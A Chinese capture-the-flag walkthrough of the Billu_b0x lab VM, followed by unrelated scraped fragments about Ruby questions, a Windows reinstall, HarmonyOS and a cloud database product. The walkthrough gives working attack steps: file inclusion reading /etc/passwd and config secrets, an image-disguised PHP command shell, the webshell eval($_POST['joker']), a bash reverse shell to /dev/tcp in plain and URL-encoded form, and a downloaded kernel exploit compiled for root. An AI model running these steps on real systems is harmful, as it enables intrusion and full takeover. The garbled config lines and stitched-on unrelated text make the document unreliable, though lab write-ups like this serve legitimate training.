文章目录
最近新找到的一个靶场,跟vulnhub靶场渗透思路差不多,不过没有设计到内网的渗透,只是单方面的进行渗透提权,获取对方的主机权限,对于打CTF的小伙伴们还是很有帮助的。但我感觉这次的难度好像比vulnhub的靶场难度稍大一点噢,接下来给大家介绍一下渗透的过程吧。
Boot to root:从Web应用程序进入虚拟机,并获得root权限。
ip发现
首先kali本机的ip为192.168.231.128

启动Billu_b0x虚拟机,由于虚机网络设置为net模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的NAT网段C段IP,即可找到虚机IP,命令:
nmap -sP 192.168.231.1/24
192.168.231.160

发现靶机的ip地址是192.168.231.160,我们扫描一下端口
nmap -sS -sV -p- 192.168.231.160

发现22和80端口开放,也就是ssh和web服务开启,输入192.168.231.160:80
漏洞挖掘思路:
(1) SQL注入:首页提示注入,想办法注入成功。
(2) 暴破目录:用DirBuster暴破,看是否有新网页,找新漏洞;
(3) 漏洞扫描:暴破的新网页,送进AWVS或APPScan扫漏洞;
(4) 手动挖掘:暴破的新页面,通过Firefox挂burp代理,在burp中观察Request和Response包,手动找漏洞;
(5) 查看每个网页的源码,看是否有提示;。
(6) 如得到用户名,密码,尝试登录ssh,如能连接上,无需反弹shell了。

就是一个登录框,没有任何思路,弱口令肯定是行不通的,我们 尝试一下SQL注入,万能密码,都试一下,输入’ or ‘1’=‘1,没有成功

(1) 在用户名输入框输入admin’ or ‘a’='a – 密码随意,发现无法注入,出现js弹框Try again
(2) 使用sqlmap进行post注入测试,命令:
sqlmap.py -u “http://192.168.1.112” --data “un=admin&ps=admin&login=let%27s+login” --level 3 --dbms mysql

sqlmap注入检测完成,结果无法注入,目前不知道系统对注入的过滤规则是什么,使用几个sqlmap的tamper测试也未成功。暂时先不fuzz注入,看看暴破目录。
我们只能扫描一下目录,看看有什么敏感文件泄露吧,进行扫一波吧


再用kali的dirb的大字典精确的扫一下,看看有什么隐藏的目录吗
dirb http://192.168.231.160/ /usr/share/dirb/wordlists/big.txt
windows使用御剑,DirBuster暴破目录,同时使用kali Linux的dirb暴破,为得到更多的暴破结果,并减少暴破时间:
可以看到,扫描的很详细



搜集到可查询的文件有
add.php, test.php, head.php, index.php,show.php,c.php,in.php
目录:
images,/phpmy/,/uploaded_images/
拿到这些路径,我们都看一下是否可以打开,先试一下
图片路径
http://192.168.231.160/images/

phpmyadmin
http://192.168.231.160/phpmy/

phpinfo信息
http://192.168.231.160/in.php

上传的图片路径
http://192.168.231.160/uploaded_images/

(1) 访问test.php:页面提示file参数为空,需要提供file参数

测试文件包含:http://192.168.231.160?file=/etc/passwd 发现无法包含,页面没有反应。

(2) 在Firefox的Hackbar或者Brupsuit中,将get请求,变更为post请求,文件包含成功,获得passwd文件。

(3) 查看passwd文件,发现1个id 1000的账号ica,ssh连接的用户名可以是ica或root
root❌0:0:root:/root:/bin/bash
ica❌1000:1000:ica,:/home/ica:/bin/bash

(4) 通过同样文件包含的方法,下载add.php、in.php、c.php、index.php、show.php、panel.php等文件,后面可以访问文件的同时,审计文件的源代码。

我们打开add.php页面,是一个上传页面,但是试了一下,上传不了图片,只能继续挖掘漏洞

利用火狐的hackbar进行POST发送



查看c.php源码这是数据库连接文件,发现mysql连接用户名密码:
用户名:billu
密码:b0x_billu
数据库名:ica_lab



得到WEB登陆的用户名
uname:biLLu
pass: hEx_it

(1) phpmyadmin的默认的配置文件是:config.inc.php。需要猜测路径,通过URL猜测路径默认在/var/www/phpmy下面。
(2) 在火狐浏览器的Hackbar或者Burpsuit中,通过文件包含,读取config.inc.php文件,Hackbar的获取方法:
file=/var/www/phpmy/config.inc.php


可以通过文件包含来读取文件内容,用hackbar
通过配置文件获取到了web用户的账号和密码
c
f
g
[
′
S
e
r
v
e
r
s
′
]
[
cfg['Servers'][
cfg[′Servers′][i][‘auth_type’] = ‘cookie’;
c
f
g
[
′
S
e
r
v
e
r
s
′
]
[
cfg['Servers'][
cfg[′Servers′][i][‘user’] = ‘root’;
c
f
g
[
′
S
e
r
v
e
r
s
′
]
[
cfg['Servers'][
cfg[′Servers′][i][‘password’] = ‘roottoor’;
(ssh登录账号和密码)
root
roottoor
使用xshell ssh登录root账号,完成实验



我们尝试另一个获取shell的方法,是通过上传页面和文件包含写入一句话进行命令执行和获取shell的。
(1) 使用web密码登录首页,大小写必须一样。
uname:biLLu
pass: hEx_it

登录后是账号管理界面,账号是加勒比海盗的两位主角船长:杰克·斯帕罗和巴博萨船长。
两个账号的头像图片地址,在之前暴破出来:http://192.168.1.112/uploaded_images/

(2) 点击add user进入添加账号界面,这是一个图片上传,思路是利用图片上传和文件包含获得shell。

查看之前test文件包含获得的panel.php源码,发现panel.php存在本地文件包含漏洞

下载一张http://192.168.231.160/uploaded_images/中的图片ok.jpg,文本编辑器打开,在文件中间或末尾加入一句话cmd命令马

在这里给大家避个坑,这里可能会出现原来的图片上传不了的问题,推荐大家使用一个文本写一句话木马上去,加个图片的标识符认为是图片,改后缀,上传就可以了。
GIF89a
这样,上传才算成功了,我们发现目录下一届有ok.jpg了。
(3) 使用burp执行命令: post请求url中加入执行命令的参数:POST/ panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含cmd.jpg图片马:load=/uploaded_images/ok.jpg&continue=continue
成功执行命令cat /etc/passwd;ls

或者在hackbar里面
(4) 用bash反弹shell
命令:echo “bash -i >& /dev/tcp/192.168.231.160/4444 0>&1” | bash
需要将命令url编码:

在post的url中发送命令:%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%33%31%2e%31%32%38%2f%34%34%34%34%20%30%3e%26%31%22%20%7c%20%62%61%73%68

nc接收反弹shell成功:

文件上传目录uploaded_images为写权限目录,进入该目录,写一个菜刀马:
echo ‘<?php eval($_POST['joker']);?>’ >> 1.php

查看一下,发现上传成功

直接菜刀链接即可
http://192.168.231.160/uploaded_images/1.php
joker

(1) 查看系统内核版本,命令uanme -a和cat /etc/issue
uname -a
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 athlon i386 GNU/Linux
cat /etc/issue
Ubuntu 12.04.5 LTS \n \l

(2) 下载Ubuntu著名的本地提权漏洞exp:
https://www.exploit-db.com/exploits/37292/
下载到kali上的桌面上,是一个37292.c文件

(1) 赋予执行权限
chmod 777 37292.c

(2) 编译exp,由于权限限制,我们在kali本机上gcc编译下载好的exp脚本
gcc 37292.c -o exp

执行完代码,会生成一个exp,直接运行
(3) 执行exp,提权至root
这时候我们如何把文件传到靶机的shell中呢,我们先把桌面的37292.c复制到网站的根目录下,在将网站目录下的文件下载到靶机的shell下,具体步骤如下:
cp /home/zhian/桌面/37292.c /var/www/html
cd /var/www/html

wget http://192.168.231.128/37292.c
chmod 777 37292.c
gcc 37292.c -o exp
./exp


执行./exp之后,马上就提权成功了。

实验结束了,总体来说,难度比较高,大家好好练习一下吧。
CTF综合渗透靶场第一章就就结束了,下次有空在给大家写下一篇文章了,大家加油吧。
关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。
这里是Ruby新手。完成一些练习后碰壁了。练习:计算一系列成绩的字母等级创建一个方法get_grade来接受测试分数数组。数组中的每个分数应介于0和100之间,其中100是最大分数。计算平均分并将字母等级作为字符串返回,即“A”、“B”、“C”、“D”、“E”或“F”。我一直返回错误:avg.rb:1:syntaxerror,unexpectedtLBRACK,expecting')'defget_grade([100,90,80])^avg.rb:1:syntaxerror,unexpected')',expecting$end这是我目前所拥有的。我想坚持使用下面的方法或.join,
电脑0x0000001A蓝屏错误怎么U盘重装系统教学分享。有用户电脑开机之后遇到了系统蓝屏的情况。系统蓝屏问题很多时候都是系统bug,只有通过重装系统来进行解决。那么蓝屏问题如何通过U盘重装新系统来解决呢?来看看以下的详细操作方法教学吧。 准备工作: 1、U盘一个(尽量使用8G以上的U盘)。 2、一台正常联网可使用的电脑。 3、ghost或ISO系统镜像文件(Win10系统下载_Win10专业版_windows10正式版下载-系统之家)。 4、在本页面下载U盘启动盘制作工具:系统之家U盘启动工具。 U盘启动盘制作步骤: 注意:制作期间,U盘会被格式化,因此U盘中的重要文件请注
在应用开发中,有时候我们需要获取系统的设备信息,用于数据上报和行为分析。那在鸿蒙系统中,我们应该怎么去获取设备的系统信息呢,比如说获取手机的系统版本号、手机的制造商、手机型号等数据。1、获取方式这里分为两种情况,一种是设备信息的获取,一种是系统信息的获取。1.1、获取设备信息获取设备信息,鸿蒙的SDK包为我们提供了DeviceInfo类,通过该类的一些静态方法,可以获取设备信息,DeviceInfo类的包路径为:ohos.system.DeviceInfo.具体的方法如下:ModifierandTypeMethodDescriptionstatic StringgetAbiList()Obt
基础版云数据库RDS的产品系列包括基础版、高可用版、集群版、三节点企业版,本文介绍基础版实例的相关信息。RDS基础版实例也称为单机版实例,只有单个数据库节点,计算与存储分离,性价比超高。说明RDS基础版实例只有一个数据库节点,没有备节点作为热备份,因此当该节点意外宕机或者执行重启实例、变更配置、版本升级等任务时,会出现较长时间的不可用。如果业务对数据库的可用性要求较高,不建议使用基础版实例,可选择其他系列(如高可用版),部分基础版实例也支持升级为高可用版。基础版与高可用版的对比拓扑图如下所示。优势 性能由于不提供备节点,主节点不会因为实时的数据库复制而产生额外的性能开销,因此基础版的性能相对于
我使用irb。下面是我写的代码。“斧头”..“bc”我期待"ax""ay""az""ba"bb""bc"但结果只是“斧头”..“bc”我该如何纠正?谢谢。 最佳答案 >puts("ax".."bc").to_aaxayazbabbbc 关于ruby-从结束值创建一系列字符串,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/7617092/
使用RubyonRails,我使用给定的增量(例如每30分钟)用时间填充“选择”。目前我正在YAML文件中写出所有的可能性,但我觉得有一种更巧妙的方法。我想我想提供一个开始时间、一个结束时间、一个增量,并且目前只提供一个名为“关闭”的选项(想想“business_hours”)。所以,我的选择可能会显示:'Closed'5:00am5:30am6:00am...[allthewayto]...11:30pm谁能想出更好的方法,或者只是将它们全部“拼写”出来的最佳方法? 最佳答案 此答案基于@emh的答案。defcreate_hour
我遇到了未定义方法`to_key'的问题这是我的books_controller.rbclassBooksController和我的索引页如下。index.html.erb......现在当我要访问索引页面时出现如下错误。undefinedmethod`to_key'for# 最佳答案 index通常返回一个集合。事实上,您的Controller符合要求。但是,您的View试图为其定义一个表单。正如您所发现的,这不会成功。表单适用于实体,而不适用于集合。该错误在您看来以及您希望如何处理index。
我如下询问了我的Rspec测试。Rspec-RuntimeError:Calledidfornil,whichwouldmistakenlybe4在相同的代码上(“items_controller.rb”的Rspec测试),我试图对“PUTupdate”进行测试。但是我收到错误消息“Paperclip::AdapterRegistry::NoHandlerError:找不到“#”的处理程序。我的Rspec测试如下。老实说,我猜这次失败的原因是“let(:valid_attributes)”上的“photo”=>File.new(Rails.root+'app/assets/images
关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭9年前。Improvethisquestion首先,我想避免一场关于语言的口水战。可供选择的语言有Perl、Python和Ruby。我想提一下,我对所有这些都很满意,但问题是我不能只专注于一个。例如,如果我看到一个很棒的Perl模块,我必须尝试一下。如果我看到一个不错的Python应用程序,我必须知道它是如何制作的。如果我看到RubyDSL或一些Ruby巫术,我就会迷上Ruby一段时间。目前我是一名Java开发人员,但计划在不久的将来